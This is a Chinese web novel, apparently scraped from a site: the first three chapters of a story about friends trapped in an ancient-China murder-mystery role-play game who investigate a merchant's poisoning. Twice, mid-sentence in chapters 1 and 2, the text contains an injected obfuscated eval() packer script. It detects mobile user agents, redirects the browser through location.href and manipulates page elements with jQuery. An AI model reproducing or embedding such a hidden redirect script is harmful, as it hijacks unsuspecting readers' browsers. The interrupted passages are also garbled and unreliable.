《主角团一心想通关》 1. 入迷局 杨灵灵揭开瓦片,从那屋顶缝隙中窥去—— 只见那和尚着一袭玉色,松柏似地跪在衙门大堂的青石地上,两手合十,双目紧闭。 和尚生这么好看做什么? 她忽地一愣,和尚、县衙? 低头看去,她一身古代少女的豆绿色浅交领襦裙,一手捏着瓦片,一手提溜着一只装着酱油的青釉葫芦瓶,脖子上还挂了一篮子大蒜。 这造型,不一般。 定睛一看,那葫芦瓶上的釉面映照出了一个和自己有几分相似的脸。 刹那间,杨灵灵忽然想起,自己上一次看见这张脸,还是在宿舍洗完澡,换上睡衣,敷上面膜准备去隔壁寝室一起玩儿剧本杀时。 杨灵灵只记得自己原本也姓杨,但具体叫什么,目前暂时想不起来了。 她本科毕业,九死一生,终于五战成硕。 不泡图书馆和啃文献的日子,杨灵灵喜欢约上几个志同道合的朋友,在线上APP上来一局剧本杀放松身心。 那晚,她们选了个简单的古代本,不想费脑子,只想速战速决,然而因推理能力有限,还是从晚上九点掰扯到凌晨两点。 杨灵灵哈欠连天,看着朋友们面红耳赤、激情互踩,眼皮忍不住开始打架,就这样睡了过去。 等她再次醒来,眼前竟是这般景象。 难道,她竟然倒霉催地穿越了? “叮铃铃……” 忽然,上空响起一阵清脆的摇铃声。紧接着,一个故作软萌的合成女声响起: 【欢迎玩家来到“主角团一心想通关”的沉浸式剧本杀世界!】 【我是您的专属系统钓钟柳,您可以叫我小钓、小钟或者小柳!】 杨灵灵一脸黑线地听着,一边在心里印证着自己穿越的事实,一边快速地处理着系统提供的信息。 【您所选剧本为架空古代本,剧本名为《衙署应役手札》。当前副本名:深宅旧梦,推理难度:★。】 【在此剧本中,您扮演的角色为古代话本写手杨灵灵。当前副本角色任务:1.洗脱犯罪嫌疑。2.隐藏您与天心寺首座晦明之间的关系。3.找出杀害渝州城富商顾员外的真凶。】 【本游戏世界分为七个副本,各个副本相对独立又互为线索。每个副本均包括七个环节:1.剧情认知环节;2.集中搜证环节;3.首次集中推理环节;4.初次凶手指认环节;5.自由搜证环节;6.最终集中推理环节;7.最终凶手指认环节。】 【小柳提示:除两次集中推理及凶手指认环节外,请玩家严格按照角色人物设定行事,避免OOC。若出现OOC,小柳则将按照玩家OOC程度扣除您相应游戏积分。游戏积分关乎后续技能道具获取,请您谨慎对待哦。】 【检测到玩家目前正处于剧情认知环节,且已通过关键道具主动获取原有记忆,已为您关闭剧情引导模式,开启剧情自由探索模式。】 【在剧情自由探索模式中,此前小柳为您载入的剧本以调露一十四年四月初九午时三刻为节点,后续未读取的剧情已删除,您可在游戏世界内自由探索,决定部分剧情走向。】 【此后,小柳将以发布关键剧情任务的方式对您进行适时提醒,避免您完全偏离主线。】 【请玩家积极完成关键剧情任务。错过关键剧情,或将影响集中推理环节凶手指认结果。】 【凶手指认成功,小柳将给予玩家海量积分及重要道具奖励,为您后续探索剧情提供助益哦。剧本进度达到100%,即为通关成功,您可重新返回现实世界。】 【凶手指认失败,未成功通关,玩家将被系统永久抹杀,从现实世界中消失。】 杨灵灵听到这里,不禁冷汗直冒。 她废了半条命地考上的研究生,还没顺利拿到文凭呢,怎么能就这样莫名其妙地就从这个美丽的世界上消失呢? 不行,绝对不行! 这场游戏性命攸关,她必须通关成功! 深呼吸几下,让自己冷静下来。 正当她一脸严肃地梳理着系统提到的注意事项,譬如要完成关键剧情任务,必须严格按照“杨灵灵”的角色设定行事,不能OOC时,系统的少女音又出现了。 【小柳温馨提示:鉴于您是当前副本中首个开启剧情自由探索模式的玩家,小柳为您准备了特殊奖励哦~】 【正如钓钟柳的花语是“浪漫”,小柳将根据您母胎单身的现实属性及择偶偏好,为您特别定制专属恋爱支线剧情,让您在紧张刺激的探案剧情中欣赏“春路雨添花,花动一山春色[1]”的明媚春光,体验此生从未有过的至死不渝、刻骨铭心的浪漫爱情。】 杨灵灵愣住,脸上原本的黑线更粗了。 啥玩意儿?这破系统征求过她的意见吗?非要她在惊险刺激的探案剧本杀里谈恋爱? 她回家心切,一心只想速通,可没空搞什么恋爱支线。 【恋爱支线剧情看似只为满足您的情感需求,实则对推进主线剧情有着意想不到的作用,请玩家不要嫌弃哦。】 杨灵灵:……这系统是有读心术吗? 【为体现恋爱支线剧情的专属性,现充分征求您的意见。请玩家从以下四位角色中任选一位作为恋爱支线剧情中的浪漫爱体验对象。】 系统话音刚落,杨灵灵的眼前便出现了一块淡蓝色的全息投影荧幕。 屏幕之上,分别出现了两排白底免冠角色证件照,每张证件照之下,都用繁体小楷写着角色的名字和身份。 杨灵灵将那四张证件照从左到右扫过,作为颜控的她不得不承认,这破系统拉郎配还是有点水平。 只听系统像个媒婆似的殷勤介绍道: 【1.晦明,天心寺首座,人称“才俊法师”,年龄二十一岁,长相面如冠玉、目若朗星,身高1.82m,体重65公斤。】 【2.沈观澜,西南军正三品参将、渝州文武双解元,年龄十八岁,长相剑眉星目、清冷俊逸,身高1.90m,体重70公斤。】 【3.储芒之,人称“储衙内”,巡按御史储瑛之子,京城贵公子,年龄十八岁,长相眉似春山,目如徽墨,身高1.80m,体重67斤。】 【4.黎暮缃,大将军黎渊之女,京城贵女,年龄十六岁,长相雪腮杏目、明眸皓齿、温婉柔媚,身高1.62m,体重45公斤。】 不对,怎么还有可爱的女孩子?! 【若您心中已有人选,请点击屏幕上的角色照片,并点击“指认”选框,倒计时1分钟。若您在倒计时内未作出选择,小柳将为您随机匹配一位角色。】 看来是不得不选了……要是随机匹配到第四位,那她可能需要去配点中药了。 眼看倒计时仅剩50秒,杨灵灵目光下视,从屋顶的缝隙中,再次瞧见了大堂之中那袭玉色僧袍。 按照她此前的记忆,这人便是荧幕上的第一位,人称“才俊法师”的天心寺首座,晦明。 好巧不巧,就在昨夜,“杨灵灵”便同这位法师发生了些故事。而这故事发生的地点,恰好就在当前副本的死者——渝州城富商顾员外的府邸。 目前看来,剩下的两人和顾府的案子没有什么关联,选了只会浪费时间。 于是也不用多加思考了。 【恭喜玩家成功选择晦明作为您的浪漫爱体验对象~情缘一线牵,珍惜这段缘~祝您游戏愉快哦~】 至此,系统喋喋不休的提示音终于结束了。 瞧着县衙大堂之中那挺拔的背影,杨灵灵不觉又将昨夜的情形回忆了一遍,想要从中理出更多信息。 彼时,城东顾府西南角的一处厢房内,杨灵灵仍旧是这副梁上君子的姿势躲于暗处。 一室透亮,而那才俊法师在房中闭目而坐,似已入定。 这位才俊法师年少成名,不仅师从名僧圆泽大师,近年来更是在五台山无遮大会中连续两届拔得头筹,名声大噪。 渝州百姓大都信佛,遇到这般才色双绝的法师下山宣扬佛法,自是万人空巷。 来这里做梁上君子之前,她正在夜市上觅食。白日里她因补觉错过了亲见这位法师登台讲经风姿的机会,听到街上众人都道这法师“如何面如冠玉又如何如何目若朗星”,形容得那般天花乱坠,宛若天神下凡,不免也勾起她几分探究欲来。 杨灵灵以编写话本为生,以渝州笑笑生之名,惯爱写些俊俏书生、风流衙内与绝代佳人间的风月故事。现下,她的新话本刚写了开篇便遇到了瓶颈,正愁没灵感呢。 听说讲经结束后,本次讲坛的东道主顾员外在府中大摆筵席,邀了好些宾客,又请了红袖招的舞姬助兴,实在是热闹非凡。 杨灵灵爱凑热闹,竟忘了觅食,闻着味儿就往顾府去了。 仗着自己幼时在寺庙中习得的一手来去如风的好轻功,也不消有什么请柬,只打听了那才俊法师在顾府的住所,轻而易举地便翻上了房顶,于是便有了这那梁上君子的一幕。 透过瓦片缝隙,杨灵灵的视线从那法师的脸移到他身前的佛龛,又从那佛龛移到了案上的糕点。 她的肚子不争气地叫了一声。 方才光顾着听街上几个大婶对这法师没口子地夸,反倒把觅食这件大事儿给忘了,竟然径直往这顾府里来了。 如今见了这法师面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439067|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吃食,这才想起自己那几分可怜的饥肠辘辘来。 杨灵灵对自己五脏庙里供奉的神仙的脾性了若指掌,若是再不好好供奉一番,只怕一会儿降下罪来,她这小破身板实在是担待不起。 首先便是手抖,其次则是头晕目眩、脚步踉跄,一身好轻功难以实施展,以致有家难回。 如此这般,那法师案前的糕点便成了救命的良药。 杨灵灵幼时因父亲重病,便被送去寺中修行,为父祈福。她在寺庙里见过一些和尚打坐入定,真要是入定到某种境界,便是呼吸脉搏停止,十天半月不动都是寻常。 这才俊法师,想来也不一般。 她仔细地盯了那法师半晌,又捡了好几颗小石子从瓦口处朝那和尚身旁掷去,就差直接扔他脸上了,即便是这样,那法师依旧稳稳坐定,半分异样都没有。 于是乎,瞅准四下无人的时机,杨灵灵轻巧地从房顶上跳下来,又从一侧小窗小心翼翼地翻进屋内,蹑手蹑脚地到了那案前。 见那法师依旧没动静,杨灵灵竟还大着胆子用手在他眼前比划了两下。 眼见无虞,她蹲下身来,喜滋滋地从案上拿起一块芙蓉糕,正欲饿虎扑食,哪知一个低沉的声音便从身后响起。 “施主,不问便取是为盗。” 杨灵灵虎躯一震,一口糕点就这样哽在喉头。 天地良心,杨灵灵在心底发誓,她平日里虽喜欢翻一些大户人家的墙头,此前但可从未拿过一针一线。 此间这般光景,实在是事出有因、情有可原。 废了半条老命终于将那糕点咽了下去,杨灵灵小脸儿憋得通红,转头一脸天真地望过去,打了个干哈哈。 “法师好。” 袖子滑下来,露出一串朱砂莲的手钏。 那法师眼中闪过一丝异样,但很快便恢复如常,只静静地看着她。 彼时,丈方之内,静到能听见香灰掉落之声,而她与他相距不过一臂。 透过眼前这双深邃的眸子,杨灵灵仿佛看到九莲山上那片璀璨的星空,以及清冷的月光下那树被烛光映照的海棠花。 有些年幼时的记忆抑或是梦中的景象涌上来,她分不太清。 混乱的思绪之中,唯有感叹,这人还当真是目若朗星。 不过“目若朗星”这个词,委实俗了。 此时此刻,她可没功夫在这儿雕琢文章,当务之急自然是找个机会脚底抹油开溜。 但这般光景下,那法师目光如炬,宛若一条锁链将杨灵灵桎梏住。她心虚万分,双脚发软,几乎就要在佛前忏悔认错,可忽然间,她却意识到哪里不对劲。 杨灵灵发出一声冷笑,神色漠然地看了回去。 “法师,你心不定。” 晦明微微怔住。 “似你这般易受外物所扰,如何得定?如何降伏其心?” 这句话像极了寺中得道高僧对徒弟的灵魂发问。 背诵《金刚经》是小时候的功课,杨灵灵的阿爹笃信佛法,曾用各式各样的果子蜜饯连哄带骗地让她背得滚瓜烂熟。 这样的话自然而然就到了嘴边,本就是为了唬人,实则连她自己也不知其意。 可她分明瞧见,那法师的神色有片刻的凝滞,眼神已微微失焦。 杨灵灵看准时机,伸手快速点中了他的穴道。 法师回过神来,发现自己已是四肢无力,动弹不得,正发出一个“你”字,又被杨灵灵点中了哑穴。 事毕,杨灵灵拍拍手,起身整了整衣衫,又拿了一块糕点放到嘴里,歪头冲着晦明得意地笑起来。 “法师勿怪,我方才实在是饿极了,才拿了这糕饼充饥。你们佛家不是讲‘救人一命胜造七级浮屠’吗,佛祖见了我这般,定然也是不忍,你说是也不是?” 听了这话,见那法师一脸复杂地看着她,杨灵灵的笑顿时僵在脸上。 转过身去,也不再管那和尚是何表情,将那盘糕点吃完,跳窗而去。 顾府的前院儿热闹非凡,杨灵灵原本打算好好游玩一番,奈何被人撞见自己顺手牵羊,心里发虚,此刻只想快些离开,便欲从厢房最近的西侧门出去。 到了西侧门,见此处竟无人把手,正遂了杨灵灵的意。她刚正翻上墙头,却听身后不远处“哎呀”两声。 转头看去,竟是两个丫鬟装扮似的女子在转角处撞在了一起。 许是夜色昏暗,府中正操办宴席,两个丫头脚步匆忙,未瞧见眼前人吧。 杨灵灵也未再多看,转头跳下墙头去也。 —————————— [1]【宋】秦观《好事近·梦中作》 2. 勿出戏 回忆终了。 杨灵灵不禁纳罕,这才过了半日光景,这位天心寺首座,昔日顾府坐上宾,何苦转眼便成了如今这阶下囚? 只听堂上一声中气十足的叫喊:“来人呐!给本官上刑!” 随之,一只令签掷地有声,被县太爷狠狠摔在那法师身前。 然而那法师眼皮也未抬,倒是把一旁跪着的娇俏小娘子吓得一个激灵。 杨灵灵一愣,才俊法师和娇俏娘子,这搭配,“杨灵灵”的风月话本里都写烂了。 公堂之上,眼见那和尚油盐不进、威吓无用,县太爷被气得吹胡子瞪眼。 堂下寂静,只见一人长身玉立,腰间配刀,慢悠悠地踱到县太爷身侧,对俯身耳语了几句。 可惜那声音太小,杨灵灵听不真切。 她身子往后挪了挪,撅起屁股,脑袋正欲往那瓦口处凑,却忘了自己脖子上正挂着菜篮子。 一个晃荡,篮子的一颗大蒜就这样骨碌碌地从那瓦口掉了下去。 哎我去—— 她想伸手去抓,然而她一手捏着瓦片,一手提溜着酱油瓶,哪只手都不得闲。 心道不好,她以迅雷不及掩耳之势将那瓦片盖回去,三十六计走位上。 杨灵灵从房顶跃下,从县衙左侧绕到正门,见正门外看热闹的人逐渐散去。 一个门子见了她,连忙招呼道:“哟,这不是杨姑娘吗?什么风把您吹来了?” 杨灵灵客套地一笑,正欲回话,便见里头不紧不慢地走出两个人来。 一人温婉蕙质如幽兰,一人清冷玉立似修竹。 前头一个唤作沈南南,字裕如;后头那个名冷然,字砚冰,而杨灵灵爱叫她冷冰冰,皆是杨灵灵的闺中好友。 大昭兴女学开女科,文举武举皆可应试官。 沈南南过了文举乡试,得了个秀才的功名在身,近年来也并未继续应试,只在县衙谋了个书吏的职位,兼任县太爷的贴身幕僚,故而衙署众人都唤她“沈师爷”。 冷砚冰参加的则是武举乡试,在衙门任快班领役,乃是城中快班三个领役中唯一的女领役,是以都称她一声“冷捕头”。 这两人应该就是顾府一案的主要办案人员了。 “灵灵。”沈南南远远便瞧见杨灵灵,出声唤她。 待人走近,杨灵灵早已做好了社交准备,谄媚一笑:“两位官娘子好,里头事儿都忙完了?” “暂时告一段落。”冷砚冰脚步不停,示意几人边走边说,“此次这案件有些棘手,县太爷的好友城东顾员外昨日在家中暴毙,他家柳姨娘当晚又和天心寺首座被捉.奸.在.床,那姨娘承认自己毒杀了顾员外,但那法师又拒不认罪,只怕还得从长计议。” 杨灵灵捕捉到关键信息,双眼一亮,跟在两人身边,连忙问:“可我刚明明看见,堂上那小娘子一副丫鬟装扮,竟然是个姨娘?” 沈南南瞧着杨灵灵的模样,也不回话,揶揄道:“话说你白日里不补觉,怎么有空来衙门闲逛啦?”将一头大蒜放回杨灵灵的篮子里,“下次小心点,若不是砚冰眼疾手快,你这头蒜早就摔得粉碎了。” 好似见杨灵灵这般在房顶上偷窥已是家常便饭。 杨灵灵“嘿嘿”笑了两声,看到大蒜,这才想起今日来衙门的原因,连忙道,“对了,咱们快些回去吧,阿娘让我来叫你们回家吃饭呢!” * 午时,各家各户炊烟袅袅。 城西紫金坊的一户小院儿中,一位身形圆润的妇人正在厨房忙碌着,豆大的汗珠至额间滚落。 妇人便是杨灵灵的娘亲,易云姝。 易云姝为人热心肠,街坊四邻同杨灵灵这般大的,都唤她一声“姝姨”。 因其夫早逝,娘家又在城外,易云姝靠着西市一间不大不小的香粉铺子,以及街坊四邻尤其是隔壁沈家夫妇的帮衬,将杨灵灵平安健康地拉扯大,送她上了书塾,又盼着她能够找份稳定的生计。 眼看杨灵灵今年就要十九岁,不再上书塾后,便开始通过一些门路倒腾起写写画画的营生。 虽能挣得一些钱,但在易云姝看来,这样的营生实在算不上正经。 哪有未出阁的小姑娘整日里编写那些东西。 每每街坊问起杨灵灵为何几日不出门,易云姝都只能尴尬一笑,说她家灵照整日在家中用功,准备今年的秋闱。 “灵照”是杨灵灵的学名。 易云姝听说,隔壁沈家家主沈怀舟原在军中任职。沈怀舟辞官回乡后,在城中开了个武馆,与发妻谢纫秋恩爱非常,并育有一对龙凤胎。 易云姝看着沈家兄妹长大,她倒是从未曾想过杨灵灵能如沈南南的哥哥沈北那般,成为渝州城古往今来第一个文举武举双解元,进士及第后,先在兵部任职,后又入了大将军黎渊的麾下,现为西南军中正三品参将。 那毕竟是祖坟冒青烟才能遇上的大好事。 更何况沈北远在天边,而沈南南却近在眼前。 沈南南只比杨灵灵小一岁,个头却比杨灵灵高些,行事也更加成熟稳重,看上去倒更像是姐姐。 杨灵灵倒也不在意,一口一个“南南姐”叫得沈南南颇为受用,心安理得地接受着沈南南的照顾。 易云姝只盼着杨灵灵能像沈南南那样听话懂事,考个女秀才,也在衙门谋个书吏的差事,衣食无缺,如此她便放心了。 可杨灵灵虽会写几个字、画几幅画,却不是读书应试的料。 书塾里的陈先生多次好言相劝,委婉地表示,让易云姝为孩子另谋出路。 可她偏不信这个邪,逼着杨灵灵生生考了几回,然而见她屡试不中,便也再不提应试之事。 后来她见沈南南结识了同僚冷然,想着杨灵灵在寺庙学了几手拳脚功夫,文举不成,不若也去应个武举。 然而当她看到冷然时常值夜,又要带队巡查城中治安、抓捕凶犯,尤其是当她亲眼看见冷然在西市上,三下五除二地制服几个五大三粗的壮汉时,她又觉得,自己女儿那瘦小的身板和一身上不了台面的三脚猫功夫,多半是不中用的。 这些年易云姝的身子大不如前,香粉铺子也只开午后半日,沈家娘子劝她,如今孩子也大了,生计上也算是有了着落,不如趁自己身体还算康健,关了铺子,随他们夫妇二人一起,四处游山玩水,路上还能做个伴。 可易云姝实在对杨灵灵放心不下,不想杨灵灵如她那般,或是早早嫁人,或是起早贪黑操持贱业。 今日晨起,易云姝便去朝市上杀了鸡,又买了好些瓜果蔬菜,快及晌午,将食材处理完毕,才发现家中的大蒜、酱油没剩多少了。 去杨灵灵房中一看,快日上三竿了,这懒骨头竟还没起呢。 气得易云姝将杨灵灵从床上提溜起来,吩咐她拿上篮子和油壶,快些去西市上买些大蒜,又去海氏油酱铺打一壶三抽酱油,顺道再去衙署一趟,叫上沈南南和冷然姑娘一同回家吃饭。 * 杨灵灵三人还未到门口,远远便闻到肉香味儿。 进得院儿来,午时的灼热天光透过院中的葡萄藤架,洒下一地斑驳的樱草色。只见易云姝腰间系着围裙,正将手中硕大的陶瓷碗放到藤架下的一方石桌上。 回家路上,杨灵灵早已做好心理建设,又在心中把“杨灵灵”的人设和角色关系理了一遍,几乎是烂熟于心。 “阿娘!”杨灵灵熟练地谄媚一笑,跑过去卖力地捧场,“这也太香了吧!” 瞧见那油亮鲜嫩的鸡肉和粑糯的芋头在碗中堆叠,杨灵灵的确是有些饿了,抬手就往那鸡肉伸去。 妇人眼疾手快,打掉了杨灵灵的小脏爪子,嗔道:“你这孩子,洗手!” 杨灵灵“哦”了一声,拉着一旁的沈南南和冷砚冰往厨房里走:“走走走,南南姐,冰冰姐,咱们洗手去。” 进了厨房,三人一齐走向水缸。 杨灵灵拿起水瓢,正欲舀水,可低头看向水中的倒影时,却发现一旁的沈南南和冷砚冰竟愣在原地,格外安静。 【欢迎三位玩家来到“主角团一心想通关”的沉浸式剧本杀世界!我是……】 【……检测到玩家沈南南、冷砚冰已通过关键道具主动获取原有记忆,已为您关闭剧情引导模式……】 杨灵灵快速地抓取着关键信息,听到这里,一脸惊讶地看向沈南南和冷砚冰,却见两人站在水缸边,直直地盯自己的倒影,也是一脸愕然。 【现在为两位玩家发布个人角色任务……】 到这里,系统转入私人频段,杨灵灵听不见后续说了什么,却见沈、冷二人眼神从震惊缓缓转向平和,继而抬起头来,看向彼此。 此刻,她们心中有一万个问题想问,奈何现在是剧情认知阶段,她们不能OOC。 杨灵灵忽然想到,她原本姓杨,这个角色也姓杨,那么是不是她们俩一样?她依稀记得,那晚一起玩儿剧本杀的朋友里,的确有一个姓沈、一个姓冷。 杨灵灵紧张地地看着沈南南,颤巍巍地指着她,冒出两个字:“沈……” 又颤巍巍地指了指冷砚冰:“冷……” 最后指了指自己:“杨……” 沈南南和冷砚冰愣了半晌,终于明白了杨灵灵在说什么,顿时疯狂点头。 杨灵灵在心里热泪盈眶,真的是她们俩! 短暂地相认过后,抑制住想要上前相拥的冲动,三人挤眉弄眼交流了半晌,最终达成了共识,先走剧情。 杨灵灵见沈南南一脸悔恨,仿佛在说,早知道这样,等到集中推理阶段再恢复原有记忆好了。 一旁的冷砚冰看上去倒是冷静,眼睛一闭,拿起水瓢舀了一瓢水,倒在手上开始洗手。 她三人进厨房来本来就是为了洗手,这肯定错不了。 沈南南和杨灵灵凑过去,冷砚冰也舀了瓢水倒在她们手上。 回到院中,易云姝已经装好了食盒,沈南南和冷砚冰按照角色记忆,尴尬而不失礼貌地唤了声“姝姨”。 只听易云姝自顾自地说,要抓紧时间回西市的铺子去,施家姑娘要来看香粉,顺道向自己讨教针线。施家姑娘最近有好些针线活要做,只怕是好事将近了,又让她们几个慢慢吃,便出了门。 见易云姝出了门,三人这才长舒了一口气。 沈南南看着那诱人的饭菜,吞了吞唾沫,又看了看另外两人:“饿了,先吃饭吧。” 三人刚开始试探性地尝了尝,发现这饭菜和现实中的毫无区别,甚至异常可口,不觉闷头吃了起来。 正吃着,杨灵灵张了张嘴,沈、冷二人立即一脸谨慎地看着她,只见她早已十分熟练地道:“我之前见过那和尚。” 沈南南这才放心下来,和冷砚冰对视一眼,仔细回忆了一下自己的人设,以及和几人的关系,转眼勾起一抹戏谑地笑:“搁谁没见过似的,晦明法师昨日开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439068|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坛讲经,全城恐怕就只你一人没去呢吧?” 这就演起来了? 杨灵灵不甘示弱:“不是,你们还好这口?那是个和尚诶,不至于吧。” “想什么呢?我们是去听法师讲经,瞻仰佛法、洗涤心灵。”沈南南蔑了她一眼。 杨灵灵瞥见,冷砚冰领口处滑落出一个用玄色绳索挂着的黄金佛头吊坠,对着她俩哂笑道:“你们公门中人还信佛呢?不太好吧?” 冷砚冰瞧见杨灵灵的眼神,又低头看了一眼自己的吊坠,愣了一瞬,欲盖弥彰地干咳了一声,面无表情地将那吊坠藏了回去: “这只是一颗菠萝头。” 杨灵灵忍住爆笑,又听沈南南边笑边摇着手解释道:“我朝信仰自由,不影响的。” 冷砚冰一本正经地补充:“况且当年慈圣皇太后不就信仰佛教吗?不过圣上崇道,释教在我朝的确渐有式微……” 杨灵灵赞许地看了她俩一眼:“背景知识了解得挺多啊。” 沈南南回忆道:“晦明法师开坛讲经那日,结束后有好些人上前请教,他都一直礼数有加,就是有人问个不停,他也始终微笑着一一解答。” “这和他是不是凶手好像没什么关系吧。”杨灵灵不以为意,“那和尚要是隐藏够深的话,哪里知道他私底下会做什么。” 冷砚冰思忖片刻,道:“我也觉得不像。不过,食色性也,和尚再六根清净,只怕也免不了。昨晚衙门中接到城东顾府的管家报案,说是天心寺首座与府中姨娘通.奸,一同谋害主君。我率队到顾府时,只见晦明法师和那柳姨娘正被绑在一处,两人均是衣衫不整。” “据顾府管家所述,昨晚事发后,在顾员外和顾夫人审问晦明法师和柳姨娘之时,顾员外喝了一旁的茶水,竟突然全身抽搐起来,不多时便口鼻流血,当场暴毙了。昨晚仵作验过,确系中毒而亡,而柳姨娘则当即承认是自己提前在茶杯上抹了毒,且那瓶毒药也从她房中隐秘处被搜了出来。” “这也……过于巧合了吧。”杨灵灵听得怔怔的。 沈南南道:“的确是过于巧合了,且晦明法师拒不认罪,这当中定有隐情。” 杨灵灵腹诽,那必然是有隐情的,若是案子如此简单,那还走什么剧情,直接指认凶手为柳姨娘不就好了。 现下案情尚有信息并不明确,且这个游戏中到底有多少玩家,玩家中是否存在凶手,这些都还不知道。 可方才那喋喋不休的少女音系统偏在此刻故作矜持、惜字如金,再不肯过多透露了。 按照杨灵灵此前的记忆,唯一能够确认的,是沈南南和冷砚冰这两人多半不是凶手。 一时四下安静,三人均想不出个所以然来,见了石桌上被几人风卷残云般吃的一滴不剩的饭菜和余下的碗筷,交换了眼神,默契地起身,收拾桌子。 几人虽心系案情,但人是铁饭是钢,方才一顿饭吃得狼吞虎咽,着实有些噎到了。 眼见日头高光,便移至杨灵灵卧房。 杨灵灵凭着记忆翻找出一些茶叶,给几人泡了壶茶,一人倒了一杯,消消食。 沈南南喝了茶,还是觉得胃里积食,在杨灵灵房间里走来走去,随口道:“你这房间装饰得还挺好,有花有草的,还有这么多书和笔,挺符合你的人设。” 杨灵灵坐在桌前,不甚在意地应了声。 她脑袋昏昏沉沉,用手支着,早已是眼皮打架,但还是强打精神:“待会儿我和一起你们先回去上班,认真查看一下卷宗,或者再去顾府查探查探,你俩这身份行事也挺方便,我混在你们身边应该没什么。” 一旁的冷砚冰道了声“好”。 杨灵灵连打几个哈欠,没一会儿,脑袋差点从手上滑落。抬眼见沈南南正好绕到书案旁,瞧见了她摊在桌上的几张书稿,顺势拿了起来。 杨灵灵忽地想起,她写的那些话本都是些什么题材,清醒了些,出声劝道:“劝你别看。” 沈南南原不以为意,可当她的眼风愈发往后扫去,脸色便愈发地如吃醉了酒一般,最后双眼一闭,猛地将稿纸倒着盖回了书案,像是见到了什么脏东西,质问道:“这是你写的?!” 杨灵灵一口气上不来,刚想反驳,这才又想起自己此刻就是杨灵灵,转脸一副不以为然地模样:“是啊,怎么了么?” 沈南南见状,也想起她作为杨灵灵邻家“姐姐”的身份来,一脸恨铁不成钢地道:“你就不能写些正经的,光风霁月一些的?” “这还不够‘风月’?”杨灵灵眨了眨眼,满脸纯洁,“南南姐,你口味儿可真够重的啊。” 沈南南真想喷杨灵灵一脸茶汤,然而见她哈欠打了又打,眼睛都要睁不开了,又道:“你先去睡会儿吧。” 眼看也是时候回县衙了,便走过了,正欲离开,却见杨灵灵也猛地跟着站了起来:“我不困。” 然而话音未落,沈南南却眼睁睁地看着杨灵灵眼睛一闭,几乎是一头倒在地上。 两人眼疾手快,忙不迭地上前将扶她起,沈南南摇了摇她的肩膀:“灵灵,你还好吧?” “我不困……不困……” 然而口里虽应着,眼睛却睁不了一点,声音越来越小,转眼就只剩均匀绵长的呼吸声。 好家伙,真倒头就睡。 毕竟小睡一会儿也耽误不了什么功夫,冷砚冰将杨灵灵抱到床上,给她盖好被子,两人将门关好,快步往衙门行去。 3. 灵前探 沈、冷二人行至衙门口,便见县太爷一身常服,正提着衣摆,骂骂咧咧地跨了门槛出来,抬眼瞧见二人,直直地冲了过来: “寻你二人半日不见踪影,又跑到哪里厮混去了?” 冷砚冰不回话,沈南南则十分眼力见上前地问道:“可是出了什么事?” 说话间,便有一顶四人小轿行至跟前,县太爷甩了衣袖上轿,复而又撩开帘子,白了一眼这俩人: “你二人随本官一同去顾府吊唁!” 沈、冷二人面面相觑,立在原地未动。 沈南南指了指县太爷,又指了指自己:“他坐轿子,我俩步行?” “看起来,是这样的。”冷砚冰点头。 见两人还未跟上来,县太爷掀开帘子,冲着两人大喊:“还杵在那儿干啥?!” 两人不甚情愿地行至轿子左右,快速接收着县太爷交代的信息。 县太爷此人名为张顺才,已近不惑之年,到渝州上任不足半年,于此地风土人情、各方势力并不熟悉。 又因其无根基,不善与人结交,甚为惧内,故而城中豪绅太半不将其放在眼里。 惟有城东顾员外主动与之结交。 顾员外的夫人便是渝州首富梅员外的嫡长女,有了这一层关系,县太爷渐渐也结识了城中的一些显贵,故而对顾员外很是看重。 顾员外投其所好,送了县太爷好些字画,一来二去,两人变成了至交好友。 顾员外邀晦明法师讲经那日,还特意给县太爷留了个前排的好位置。只是晚宴过后,县太爷因惧怕家中夫人责备,不敢久留,便匆匆告辞回府了。 未曾想转眼第二日,便是天人永隔。 县太爷一路上淌眼抹泪、哀叹连连,哭罢又絮絮叨叨,言道这案情如此明晰,怎奈那天心寺法师竟死活不认罪,实是棘手。 又说午间方收到密信,巡按大人不日便会巡察渝州,督促二人定要在其行至渝州前将此案告破,切不可影响本官官声,如此这般。 * 行至顾府,眼见全府上下皆是一片素白。 一个年近三十的中年男子站在门边,一身孝服,见县太爷坐着轿子到了门前,即刻殷勤地贴了上去:“哎哟我的青天大老爷,您怎的亲自过来了。” 那人正是顾府的管家。 县太爷下了轿子,整张脸皱成一团,夸张地“哎哟”一声:“我苦命的茂林兄啊……您怎的就这般舍我而去了……” 管家瞧见,正欲抬手将县太爷扶住,这才想起过来自己的左手正包着绷带。 顾府的管家时常随顾员外进进出出,县太爷与他也甚为相熟,见他手受伤,关切地问:“你这是怎么伤到的?” “不妨事,不妨事,昨日不小心被开水烫到了,一点皮外伤,劳县令大人挂心。” 管家连忙将手放于身后,又见一旁还立着沈南南和冷砚冰,连忙招呼几位进去, “大人,沈师爷,冷捕头,请随我来。” 几人随着管家一同往院中走去,一路上传来绵延不绝的呜咽之声,行至大堂,正中放置着一口紫檀木的黝黑棺椁,下方顾夫人跪在灵前正中心,其余女眷仆从跪在两侧,皆是一派伤心欲绝的形容。 “夫人,县令大人前来祭拜。” 听得身后管家唤她,顾夫人这次啊颤颤巍巍地起身,向来人行礼,音色沙哑:“县令大人,两位官娘子。” 